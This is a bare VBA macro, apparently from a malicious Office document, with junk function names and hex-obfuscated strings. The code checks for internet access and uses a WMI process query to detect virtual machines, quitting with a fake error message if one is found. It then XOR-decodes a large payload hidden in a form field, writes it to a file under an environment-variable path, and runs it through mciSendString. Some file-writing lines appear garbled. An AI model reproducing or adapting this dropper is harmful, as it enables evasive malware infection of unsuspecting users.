Private Declare Function InternetGetConnectedState Lib
"wininet.dll"
_
(ByRef dwflags As
Long
, ByVal dwReserved As
Long
) As
Long
Private Declare PtrSafe Function mciSendString Lib
"winmm.dll"
Alias _
"mciSendStringA"
(ByVal lpstrCommand As String, ByVal _
lpstrReturnString As
Any
, ByVal uReturnLength As
Long
, ByVal _
hwndCallback As
Long
) As
Long
Private Declare Function GetShortPathName Lib
"kernel32"
Alias
"GetShortPathNameA"
_
(ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal lBuffer As
Long
) As
Long
Public Function GetInternetConnectedState() As Boolean
GetInternetConnectedState
=
InternetGetConnectedState(
0
&,
0
&)
End Function
Function rigmarole(es As String) As String
Dim furphy As String
Dim c As Integer
Dim s As String
Dim cc As Integer
furphy
=
""
For i
=
1
To
Len
(es) Step
4
c
=
CDec(
"&H"
& Mid(es, i,
2
))
s
=
CDec(
"&H"
& Mid(es, i
+
2
,
2
))
cc
=
c
-
s
furphy
=
furphy
+
Chr
(cc)
Next
i
rigmarole
=
furphy
End Function
Function folderol()
Dim wabbit() As Byte
Dim fn As Integer: fn
=
FreeFile
Dim onzo() As String
Dim mf As String
Dim xertz As Variant
onzo
=
Split(F.L,
"."
)
If GetInternetConnectedState
=
False
Then
MsgBox
"Cannot establish Internet connection."
, vbCritical,
"Error"
End
End If
Set
fudgel
=
GetObject(rigmarole(onzo(
7
)))
Set
twattling
=
fudgel.ExecQuery(rigmarole(onzo(
8
)), ,
48
)
For Each p In twattling
Dim pos As Integer
pos
=
InStr(LCase(p.Name),
"vmw"
)
+
InStr(LCase(p.Name),
"vmt"
)
+
InStr(LCase(p.Name), rigmarole(onzo(
9
)))
If pos >
0
Then
MsgBox rigmarole(onzo(
4
)), vbCritical, rigmarole(onzo(
6
))
End
End If
Next
xertz
=
Array(&H11, &H22, &H33, &H44, &H55, &H66, &H77, &H88, &H99, &HAA, &HBB, &HCC, &HDD, &HEE)
wabbit
=
canoodle(F.T.Text,
0
,
168667
, xertz)
mf
=
Environ(rigmarole(onzo(
0
))) & rigmarole(onzo(
1
))
Open
mf For Binary Lock Read Write As
Put
Close
mucolerd
=
mciSendString(rigmarole(onzo(
2
)) & mf,
0
&,
0
,
0
)
End Function
Function canoodle(panjandrum As String, ardylo As Integer, s As
Long
, bibble As Variant) As Byte()
Dim quean As
Long
Dim cattywampus As
Long
Dim kerfuffle() As Byte
ReDim kerfuffle(s)
quean
=
0
For cattywampus
=
1
To
Len
(panjandrum) Step
4
kerfuffle(quean)
=
CByte(
"&H"
& Mid(panjandrum, cattywampus
+
ardylo,
2
)) Xor bibble(quean Mod (UBound(bibble)
+
1
))
quean
=
quean
+
1
If quean
=
UBound(kerfuffle) Then
Exit For
End If
Next
cattywampus
canoodle
=
kerfuffle
End Function